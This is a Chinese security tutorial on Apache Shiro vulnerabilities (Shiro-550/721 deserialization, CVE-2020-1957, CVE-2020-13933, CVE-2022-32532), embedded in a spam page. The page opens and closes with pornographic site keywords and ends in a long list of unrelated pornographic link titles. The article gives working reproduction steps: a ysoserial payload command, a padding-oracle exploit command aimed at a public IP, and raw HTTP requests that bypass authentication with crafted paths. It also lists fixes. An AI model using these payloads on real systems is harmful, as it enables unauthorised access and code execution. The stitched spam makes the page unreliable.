高清视频在线观看免费播放器-伊人日本-色九月综合-18禁止看的免费污网站-免费观看性行为视频的网站-天天碰天天操-久久精品国产欧美日韩99热-中文字幕在线视频不卡-国产偷人妻精品一区二区在线-国内精品久-伊人影院在线看-密臀av一区-久久综合五月丁香久久激情-福利一区福利二区-gg国产精品国内免费观看-国产精品 高清 尿 小便 嘘嘘

當(dāng)前位置: 首頁 >綜合 > 正文

一文讀懂面試官都在問的Shiro漏洞

2023-06-13 10:03:51 來源:FreeBuf.COM
漏洞簡介

shiro-550主要是由shiro的rememberMe內(nèi)容反序列化導(dǎo)致的命令執(zhí)行漏洞,造成的原因是默認(rèn)加密密鑰是硬編碼在shiro源碼中,任何有權(quán)訪問源代碼的人都可以知道默認(rèn)加密密鑰。于是攻擊者可以創(chuàng)建一個惡意對象,對其進(jìn)行序列化、編碼,然后將其作為cookie的rememberMe字段內(nèi)容發(fā)送,Shiro 將對其解碼和反序列化,導(dǎo)致服務(wù)器運行一些惡意代碼。


【資料圖】

特征:cookie中含有rememberMe字段

修復(fù)建議:

更新shiro到1.2.4以上的版本。不使用默認(rèn)的加密密鑰,改為隨機生成密鑰。漏洞原理一、Shiro簡介

Apache Shiro 是一個強大易用的 Java 安全框架,提供了認(rèn)證、授權(quán)、加密和會話管理等功能,對于任何一個應(yīng)用程序,Shiro 都可以提供全面的安全管理服務(wù)。

在Apache Shiro<=1.2.4版本中AES加密時采用的key是硬編碼在代碼中的,于是我們就可以構(gòu)造RememberMe的值,然后讓其反序列化執(zhí)行。

Primary Cocnerns(基本關(guān)注點):

Authentication(認(rèn)證):經(jīng)常和登錄掛鉤,是證明用戶說他們是誰的一個工作Authorization(授權(quán)):訪問控制的過程,即,決定‘誰’可以訪問‘什么Session Management(會話管理):管理用戶特定的會話,即使在非web或是EJB的應(yīng)用中Crytography(加密):通過加密算法保證數(shù)據(jù)的安全,且易于使用

Supporting Features(輔助特性):

Web Support(網(wǎng)絡(luò)支持):web support API可以幫助在web應(yīng)用中方便的使用shiroCaching(緩存):保證安全操作使用快速有效Concurrency(并發(fā)):支持多線程應(yīng)用Testing(測試):支持集成單元測試Run As(以..運行):可以假定用戶為另一個用戶Remeber Me:記住用戶,無需再次登錄二、Shiro服務(wù)器識別身份加解密處理的流程1、加密用戶使用賬號密碼進(jìn)行登錄,并勾選”Remember Me“。Shiro驗證用戶登錄信息,通過后,查看用戶是否勾選了”Remember Me“。若勾選,則將用戶身份序列化,并將序列化后的內(nèi)容進(jìn)行AES加密,再使用base64編碼。最后將處理好的內(nèi)容放于cookie中的rememberMe字段。2、解密當(dāng)服務(wù)端收到來自未經(jīng)身份驗證的用戶的請求時,會在客戶端發(fā)送請求中的cookie中獲取rememberMe字段內(nèi)容。將獲取到的rememberMe字段進(jìn)行base64解碼,再使用AES解密。最后將解密的內(nèi)容進(jìn)行反序列化,獲取到用戶身份。三、Key

AES加密的密鑰Key被硬編碼在代碼里

漏洞復(fù)現(xiàn)

攻擊機IP:192.168.0.109

靶機IP:192.168.72.128

1、訪問靶機

存在Remember me選項,嘗試抓包

2、漏洞利用

Github上工具很多,我們隨便拿一款來進(jìn)行驗證

爆破密鑰成功后,即可執(zhí)行命令

Shiro-721反序列化漏洞(CVE-2019-12422)
漏洞簡介0x01首先講一下面試官經(jīng)常會問到的一個問題

Shiro550和Shiro721的區(qū)別是什么

Shiro550只需要通過碰撞key,爆破出來密鑰,就可以進(jìn)行利用Shiro721的ase加密的key一般情況下猜不到,是系統(tǒng)隨機生成的,并且當(dāng)存在有效的用戶信息時才會進(jìn)入下一階段的流程所以我們需要使用登錄后的rememberMe Cookie,才可以進(jìn)行下一步攻擊0x02 漏洞指紋URL中含有Shiro字段cookie中含有rememberMe字段返回包中含有rememberMe0x03 漏洞介紹

在Shiro721中,Shiro通過AES-128-CBC對cookie中的rememberMe字段進(jìn)行加密,所以用戶可以通過Padding Oracle加密生成的攻擊代碼來構(gòu)造惡意的rememberMe字段,進(jìn)行反序列化攻擊,需要執(zhí)行的命令越復(fù)雜,生成payload需要的時間就越長。

漏洞原理

由于Apache Shiro cookie中通過 AES-128-CBC 模式加密的rememberMe字段存在問題,用戶可通過Padding Oracle 加密生成的攻擊代碼來構(gòu)造惡意的rememberMe字段,用有效的RememberMe cookie作為Padding Oracle Attack 的前綴,然后制作精心制作的RememberMe來執(zhí)行Java反序列化攻擊

攻擊流程

登錄網(wǎng)站,并從cookie中獲取RememberMe。使用RememberMe cookie作為Padding Oracle Attack的前綴。加密syserial的序列化有效負(fù)載,以通過Padding Oracle Attack制作精心制作的RememberMe。請求帶有新的RememberMe cookie的網(wǎng)站,以執(zhí)行反序列化攻擊。攻擊者無需知道RememberMe加密的密碼密鑰。

AES-128-CBC

屬于AES加密算法的CBC模式,使用128位數(shù)據(jù)塊為一組進(jìn)行加密解密,即16字節(jié)明文,對應(yīng)16字節(jié)密文,,明文加密時,如果數(shù)據(jù)不夠16字節(jié),則會將數(shù)據(jù)補全剩余字節(jié)

若最后剩余的明文不夠16字節(jié),需要進(jìn)行填充,通常采用PKCS7進(jìn)行填充。比如最后缺3個字節(jié),則填充3個字節(jié)的0x03;若最后缺10個字節(jié),則填充10個字節(jié)的0x0a;若明文正好是16個字節(jié)的整數(shù)倍,最后要再加入一個16字節(jié)0x10的組再進(jìn)行加密Padding Oracle Attack原理

Padding Oracle攻擊可以在沒有密鑰的情況下加密或解密密文

Shiro Padding Oracle Attack(Shiro填充Oracle攻擊)是一種針對Apache Shiro身份驗證框架的安全漏洞攻擊。Apache Shiro是Java應(yīng)用程序中廣泛使用的身份驗證和授權(quán)框架,用于管理用戶會話、權(quán)限驗證等功能。

Padding Oracle Attack(填充Oracle攻擊)是一種針對加密算法使用填充的安全漏洞攻擊。在加密通信中,填充用于將明文數(shù)據(jù)擴(kuò)展到加密算法塊大小的倍數(shù)。在此攻擊中,攻擊者利用填充的響應(yīng)信息來推斷出加密算法中的秘密信息。

Shiro Padding Oracle Attack利用了Shiro框架中的身份驗證過程中的一個漏洞,該漏洞允許攻擊者通過填充信息的不同響應(yīng)時間來確定身份驗證過程中的錯誤。通過不斷嘗試不同的填充方式,攻擊者可以逐步推斷出加密秘鑰,并最終獲取訪問權(quán)限。

這種攻擊利用了填充錯誤的身份驗證響應(yīng)來獲取關(guān)于秘密信息的信息泄漏,然后根據(jù)這些信息進(jìn)行進(jìn)一步的攻擊。為了防止Shiro Padding Oracle Attack,建議及時更新Apache Shiro版本,確保已修復(fù)該漏洞,并采取其他安全措施,如使用安全的加密算法和密鑰管理策略。

漏洞復(fù)現(xiàn)1、拉取環(huán)境

docker pull vulfocus/shiro-721docker run -d -p 8080:8080 vulfocus/shiro-721

環(huán)境啟動完成后,在本地瀏覽器訪問靶場地址:your-ip:8080

2、攻擊環(huán)節(jié)

0x01 登錄成功后,我們從Cookie中獲取到rememberMe字段的值

0x02 使用ysoserial生成Payload

java -jar ysoserial.jar CommonsCollections1 "touch /tmp/YikJiang" > payload.class

0x03 使用rememberMe值作為prefix,加載Payload,進(jìn)行Padding Oracle攻擊。

python shiro_exp.py http://47.95.201.15:8080/account/ k+3DDsh6f+macxMUtS2QvAS7Fm3CyMpFB6wz4apvrieZhTIMaLey74RYMgywpM2fFncf3y7cRTU6F73MIJ5ygJ0QqzYlvX2xcmOUCe+uLiH66B0aAcs7vY6Ipimbo8tTX3vbReu0vovnmDVK4fT+lfmhZxtgFp8imCapqIb6KYr3NtmQTfORGhFZ+I2vzMN2geaYRwFkTbzfuo8vHgmzHJaR1jTn2sLVaxiIuqMYqsjiCVvN7q64wpde0JGQs1eowMKJ5VSlnUnp1NGficIFYdTETxDjJJHrmKNSxdHPCstWfQD3N6jEK1CT3vE+UxxVrtSO2XoBEHYrSTdK1bxVtunwVu5+F7lfwex3b2qY/F6EzCUjzKQN13AmqhrnyesRx+AYNzVFCZ49oYfj/dtz1XKbGr9anMuw6dq/avJdMfHzlEUThYFgZ2yRSUBAlOGliwwV+GRuhjRocka3wAgjxyG80VdJiovtXhoEhvd3peYC6TzPi2hPVXppVq3P+F8s payload.class

生成的payload.class內(nèi)容越多時間就越長,所以盡量選擇較短的命令執(zhí)行來復(fù)現(xiàn)漏洞即可。最終會生成如下rememberMe cookies

我們將跑出來的Cookie添加到數(shù)據(jù)包中進(jìn)行發(fā)送,就可以 發(fā)現(xiàn)在靶機中成果創(chuàng)建了對應(yīng)的文件。

到這未知其實經(jīng)常遇到的Shrio漏洞已經(jīng)表述的差不多了,下面幾個是shiro存在但是在現(xiàn)實中利用難度大或者是比較少的洞,可以簡單了解一下

Shiro 認(rèn)證繞過漏洞(CVE-2020-1957)漏洞原理

在Apache Shiro 1.5.2以前的版本中,在使用Spring動態(tài)控制器時,攻擊者通過構(gòu)造..;這樣的跳轉(zhuǎn),可以繞過Shiro中對目錄的權(quán)限限制。

URL請求過程:

客戶端請求URL:/xxx/..;/admin/Shrio 內(nèi)部處理得到校驗URL為/xxxx/..,校驗通過SpringBoot 處理/xxx/..;/admin/, 最終請求/admin/, 成功訪問了后臺請求。漏洞復(fù)現(xiàn)1、權(quán)限配置

@Beanpublic ShiroFilterChainDefinition shiroFilterChainDefinition() { DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition(); chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form chainDefinition.addPathDefinition("/logout", "logout"); chainDefinition.addPathDefinition("/admin/**", "authc"); return chainDefinition;}2、默認(rèn)狀態(tài)

直接請求管理頁面/admin/,無法訪問,將會被重定向到登錄頁面

3、繞過POC

構(gòu)造惡意請求/xxx/..;/admin/,即可繞過權(quán)限校驗,訪問到管理頁面:

Shiro 身份驗證繞過 (CVE-2020-13933)漏洞簡介

CVE-2020-11989的修復(fù)補丁存在缺陷,在1.5.3及其之前的版本,由于shiro在處理url時與spring仍然存在差異,依然存在身份校驗繞過漏洞由于處理身份驗證請求時出錯,遠(yuǎn)程攻擊者可以發(fā)送特制的HTTP請求,繞過身份驗證過程并獲得對應(yīng)用程序的未授權(quán)訪問。

該漏洞產(chǎn)生的原因主要是shiro層在處理url上和spring上存在差異,主要是在處理;上的問題,通過構(gòu)造含有;符號的url即可繞過shiro在權(quán)限上的處理,而spring不負(fù)責(zé)權(quán)限管控,所以最終會導(dǎo)致權(quán)限繞過。ant風(fēng)格的路徑僅出現(xiàn)一個*時才能成功,而**無法繞過,*:匹配一個或者多個任意的字符。

**:匹配零個或者多個目錄。

漏洞復(fù)現(xiàn)1、開啟環(huán)境2、正常訪問敏感界面

/admin/admin

提示讓我們登錄

3、通過%3b繞過,不觸發(fā)身份驗證并且繞過權(quán)限

/admin/%3badmin

Shiro 授權(quán)繞過 (CVE-2022-32532)漏洞簡介

Apache Shiro是一個強大且易用的Java安全框架,執(zhí)行身份驗證、授權(quán)、密碼和會話管理。

1.9.1 之前的 Apache Shiro,RegexRequestMatcher 可能被錯誤配置為在某些 servlet 容器上被繞過。在正則表達(dá)式中使用帶有.的 RegExPatternMatcher 的應(yīng)用程序可能容易受到授權(quán)繞過。

漏洞概述

2022年6月29日,Apache 官方披露 Apache Shiro 權(quán)限繞過漏洞(CVE-2022-32532),當(dāng) Apache Shiro 中使用 RegexRequestMatcher 進(jìn)行權(quán)限配置,且正則表達(dá)式中攜帶“.”時,未經(jīng)授權(quán)的遠(yuǎn)程攻擊者可通過構(gòu)造惡意數(shù)據(jù)包繞過身份認(rèn)證。

影響范圍

Apache Shiro < 1.9.1

利用流程

訪問

抓包修改

GET /permit/any HTTP/1.1Host: 123.58.224.8:36930Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: think_lang=zh-cnConnection: close

需要攜帶token字段

改包繞過

GET /permit/%0any HTTP/1.1Host: 123.58.224.8:36930Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: think_lang=zh-cnConnection: close

標(biāo)簽:

返回頂部
高清视频在线观看免费播放器-伊人日本-色九月综合-18禁止看的免费污网站-免费观看性行为视频的网站-天天碰天天操-久久精品国产欧美日韩99热-中文字幕在线视频不卡-国产偷人妻精品一区二区在线-国内精品久-伊人影院在线看-密臀av一区-久久综合五月丁香久久激情-福利一区福利二区-gg国产精品国内免费观看-国产精品 高清 尿 小便 嘘嘘
  • <cite id="ecweg"><pre id="ecweg"></pre></cite>
    <rt id="ecweg"><acronym id="ecweg"></acronym></rt>
  • <rt id="ecweg"></rt>
    波多野结衣家庭教师在线| 国模杨依粉嫩蝴蝶150p| 91av在线免费播放| 国产精品h视频| 狠狠躁狠狠躁视频专区| 东北少妇不带套对白| 激情文学亚洲色图| 毛片毛片毛片毛| jizzzz日本| 秋霞在线一区二区| 精品无码av无码免费专区| 中文国产在线观看| 人妻内射一区二区在线视频| 天堂8在线天堂资源bt| 国产男女免费视频| 日韩手机在线观看视频| www黄色在线| 精品99在线视频| 日本特黄a级片| 免费观看黄色大片| 中文字幕 欧美日韩| 婷婷丁香激情网| 九一免费在线观看| 一本—道久久a久久精品蜜桃| 日韩不卡一二三| 亚洲欧美激情网| 亚洲免费av一区| 精品国产乱码久久久久久1区二区| 在线观看日本www| 毛片毛片毛片毛| 日韩a一级欧美一级| 想看黄色一级片| 在线观看污视频| 青青青国产在线视频| 波多野结衣作品集| 午夜一区二区视频| 日本中文字幕在线不卡| 成人性做爰片免费视频| 亚洲熟妇无码av在线播放| 国产精品久久久久9999爆乳| 欧美成人一区二区在线观看| 成人在线免费播放视频| 色91精品久久久久久久久| 奇米777在线| 男女私大尺度视频| 男人透女人免费视频| youjizz.com亚洲| 91丨porny丨探花| 亚洲 欧美 另类人妖| 女女同性女同一区二区三区按摩| 中国女人做爰视频| 青青在线视频免费| 国产卡一卡二在线| 国产91对白刺激露脸在线观看| 五月天激情视频在线观看| www.男人天堂网| 做爰高潮hd色即是空| 男人的天堂狠狠干| www.色就是色.com| 久久视频这里有精品| caoporm在线视频| 波多野结衣与黑人| 国产小视频免费| 黄色成人免费看| 亚洲中文字幕无码一区二区三区| 国产麻花豆剧传媒精品mv在线| 视频区 图片区 小说区| 啊啊啊一区二区| 久久最新免费视频| 天天干天天草天天| 女人天堂av手机在线| a级黄色片网站| 毛片毛片毛片毛片毛片毛片毛片毛片毛片| 亚洲精品在线网址| 在线免费观看av的网站| 日日摸日日碰夜夜爽无码| 青娱乐国产精品视频| 欧在线一二三四区| 日本一道本久久| 亚洲爆乳无码精品aaa片蜜桃| 激情视频综合网| av免费播放网址| 久艹视频在线免费观看| 中文字幕国产传媒| 欧美一级片免费播放| 精品日韩在线播放| 91香蕉视频在线观看视频| 日本成人中文字幕在线| 欧美一级片中文字幕| 99蜜桃臀久久久欧美精品网站| 成人在线免费观看视频网站| 亚洲黄色片免费| 五月天婷婷影视| 婷婷激情5月天| 99精品视频国产| 在线观看视频在线观看| 黄色网zhan| 日本免费成人网| 国产极品尤物在线| 免费国产黄色网址| 男人揉女人奶房视频60分| www.好吊操| 欧美色图另类小说| 国产三级三级三级看三级| youjizzxxxx18| 日韩国产小视频| 久久久久福利视频| 好吊妞无缓冲视频观看| 国产v亚洲v天堂无码久久久 | 大荫蒂性生交片| 亚洲色婷婷久久精品av蜜桃| 免费一级特黄毛片| 国产天堂在线播放| 午夜激情视频网| 成人av在线不卡| 欧美激情国产精品日韩| 污污网站在线观看视频| 日本在线视频www色| 女人天堂av手机在线| 一区二区在线免费看| 裸体裸乳免费看| 黑鬼大战白妞高潮喷白浆| 看看黄色一级片| 浮妇高潮喷白浆视频| 鲁一鲁一鲁一鲁一av| 激情成人开心网| 欧美 日韩 国产 激情| 99热这里只有精品免费| 国产一区亚洲二区三区| 在线观看视频在线观看| 成人小视频在线看| 成年人三级视频| 无码人妻丰满熟妇区毛片18| 一本—道久久a久久精品蜜桃| 欧美性大战久久久久xxx| 日韩精品第1页| www.涩涩涩| 黄色免费福利视频| 天天做天天爱天天高潮| 国产精品69页| 800av在线免费观看| 亚洲男人天堂2021| 超碰影院在线观看| 六月婷婷在线视频| 97av中文字幕| 手机av在线网| 天天爽人人爽夜夜爽| 国产中文字幕视频在线观看| www.日本三级| 在线播放 亚洲| 韩国一区二区在线播放| 亚洲 欧美 另类人妖| 蜜臀久久99精品久久久酒店新书| 国产精品一线二线三线| 喜爱夜蒲2在线| xxx中文字幕| 久久久久久久久久毛片| 深夜黄色小视频| 亚洲成人天堂网| 亚洲不卡视频在线| 制服丝袜综合网| 午夜dv内射一区二区| 免费男同深夜夜行网站| 无码无遮挡又大又爽又黄的视频| 无码专区aaaaaa免费视频| 日本中文字幕在线视频观看| 真实国产乱子伦对白视频| 丁香色欲久久久久久综合网| 国产xxxx振车| www..com日韩| 国产成人a亚洲精v品无码| 国产在线青青草| 毛片毛片毛片毛片毛片毛片毛片毛片毛片| 免费大片在线观看| 日本激情视频在线| 日韩成人精品视频在线观看| 免费一级特黄特色毛片久久看| www.一区二区.com| 天天想你在线观看完整版电影免费| 污免费在线观看| 久久久久99精品成人片| 久久免费视频3| 一本色道无码道dvd在线观看| 天天干天天操天天做| 天天看片天天操| 欧美视频在线第一页| 怡红院av亚洲一区二区三区h| 国内自拍视频一区| 黄色网络在线观看| 国产精品亚洲αv天堂无码| 17c国产在线| 日本福利视频在线| 日韩中文字幕a| 男人添女人下部视频免费| www黄色日本| www激情五月| 欧美综合在线观看视频| 日韩精品在线播放视频| 99热在线这里只有精品| 欧洲在线免费视频|